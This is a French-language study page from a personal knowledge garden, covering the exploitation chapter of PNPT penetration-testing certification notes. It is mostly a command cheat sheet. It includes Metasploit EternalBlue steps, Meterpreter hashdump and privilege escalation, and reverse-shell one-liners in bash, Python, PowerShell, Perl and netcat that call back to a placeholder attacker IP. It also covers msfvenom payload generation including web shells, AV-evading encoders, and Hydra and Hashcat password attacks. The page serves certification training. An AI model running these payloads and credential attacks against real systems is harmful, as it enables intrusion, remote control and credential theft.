Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Certifications › PNPT-cert › 07-exploitation
May 18, 2026

Exploitation (PNPT)

L’exploitation, c’est le moment où on transforme une vulnérabilité identifiée en exécution de code sur la cible. Mais c’est aussi l’étape la plus surévaluée par les débutants : 80% du travail réel est dans la recon et la post-exploitation. Une bonne exploitation est une exploitation préparée — bon payload, bon listener prêt, sortie attendue connue.

Le cycle de l’exploitation§

   Vulnérabilité identifiée


   ┌─────────────────────┐
   │ Préparer le payload │ ← matcher arch (x86/x64), OS, AV présent
   └──────────┬──────────┘


   ┌─────────────────────┐
   │ Préparer le listener│ ← netcat / multi-handler AVANT de tirer
   └──────────┬──────────┘


   ┌─────────────────────┐
   │ Délivrer le payload │
   └──────────┬──────────┘


   ┌─────────────────────┐
   │ Stabiliser le shell │ ← upgrade TTY, source profile
   └──────────┬──────────┘


       Post-exploitation

Erreur classique : tirer l’exploit avant d’avoir lancé le listener → shell perdu. Toujours nc -lvnp 4444 avant exploit.

Metasploit§

Le framework offensif le plus utilisé. Pas de honte à l’utiliser sur un engagement — la honte c’est de ne pas comprendre ce qu’il fait derrière.

msfconsole

search exploit_name                    # ex. search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
show options                           # lister les paramètres
set RHOSTS 192.168.1.10                # cible
set LHOST 192.168.1.100                # listener attaquant
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit                                # ou "run"
Anatomie d'un module Metasploit

exploit/windows/smb/ms17_010_eternalblue
  │       │       │   │
  │       │       │   nom du module (CVE/identifiant)
  │       │       service ciblé
  │       OS/plateforme
  type (exploit, auxiliary, post, payload)

Meterpreter — le payload couteau-suisse§

Une fois Meterpreter ouvert, on a un shell enrichi : transfert de fichiers, pivot, dump de hashes, migration de processus.

sysinfo                                # OS, arch, domaine
getuid                                 # qui je suis
getsystem                              # tenter privesc (4 techniques auto)
hashdump                               # dump SAM (nécessite SYSTEM)
upload localfile C:\Temp\f             # uploader
download C:\loot                       # télécharger
shell                                  # shell natif (cmd ou bash)
migrate <PID>                          # changer de processus hôte
ps                                     # lister processus (pour migrate)

Pourquoi migrate : le processus initial où Meterpreter est lancé peut crasher ou être tué. Migrer vers explorer.exe ou un service stable = persistance de session.

Reverse shells§

Le payload classique : la cible se connecte à l’attaquant (contourne les firewalls entrants).

Listeners§

# Netcat (simple)
nc -lvnp 4444

# Avec rlwrap pour avoir l'historique et l'édition de ligne
rlwrap nc -lvnp 4444

# Metasploit multi-handler (pour récupérer une session msfvenom)
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 4444
run

Payloads one-liner§

À garder en favoris, classés par interpréteur disponible.

# Bash (Linux)
bash -i >& /dev/tcp/IP/4444 0>&1

# Python (Linux/macOS)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PowerShell (Windows) — le grand classique
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"

# Perl
perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# nc (souvent absent ou sans -e)
mkfifo /tmp/p; cat /tmp/p | /bin/sh -i 2>&1 | nc IP 4444 > /tmp/p

Site indispensable : revshells.com — générateur web qui produit toutes les variantes avec ton IP/port.

msfvenom — générer des payloads§

Pour les cas où on doit déposer un binaire (upload de fichier sur webapp, RCE qui exécute un fichier…).

# Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Windows Meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o m.exe

# Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP (pour upload sur webapp)
msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -o shell.php

# WAR (Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o shell.war

# ASPX (IIS)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f aspx -o shell.aspx

Encoders (-e x86/shikata_ga_nai -i 5) : codent le payload pour échapper aux AV signature-based. Inefficaces contre les EDR modernes — voir [[AV-EDR Evasion]].

Stabiliser un shell§

Un reverse shell brut est inutilisable : pas d’autocomplétion, pas de signaux (Ctrl+C tue le shell entier), pas d’éditeur interactif. Upgrade obligatoire.

# Étape 1 : PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Étape 2 : Ctrl+Z pour mettre en arrière-plan

# Étape 3 : sur ta machine, passer le terminal en raw
stty raw -echo; fg

# Étape 4 : exporter les variables nécessaires
export TERM=xterm
export SHELL=/bin/bash
stty rows 50 columns 200          # adapter à ta taille de fenêtre

Après ça : autocomplétion, Ctrl+C, vim, ssh tunnels — tout fonctionne.

Brute force§

Quand on a une cible mais pas de creds, et que l’auth est exposée sans rate-limit dur.

# Hydra — web form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Hydra — SSH
hydra -l user -P wordlist ssh://IP

# Hydra — FTP
hydra -L users.txt -P passwords.txt ftp://IP

# Hashcat — formats courants
hashcat -m 0 hash.txt rockyou.txt          # MD5
hashcat -m 100 hash.txt rockyou.txt        # SHA1
hashcat -m 1000 hash.txt rockyou.txt       # NTLM
hashcat -m 1800 hash.txt rockyou.txt       # $6$ (sha512crypt — /etc/shadow)
hashcat -m 13100 hash.txt rockyou.txt      # Kerberoasting (TGS-REP)
hashcat -m 18200 hash.txt rockyou.txt      # AS-REP Roasting
hashcat -m 5600 hash.txt rockyou.txt       # NetNTLMv2 (Responder)

# John
john --wordlist=rockyou.txt hash.txt
john --format=NT --wordlist=rockyou.txt hash.txt

Pièges courants§

—The Gardener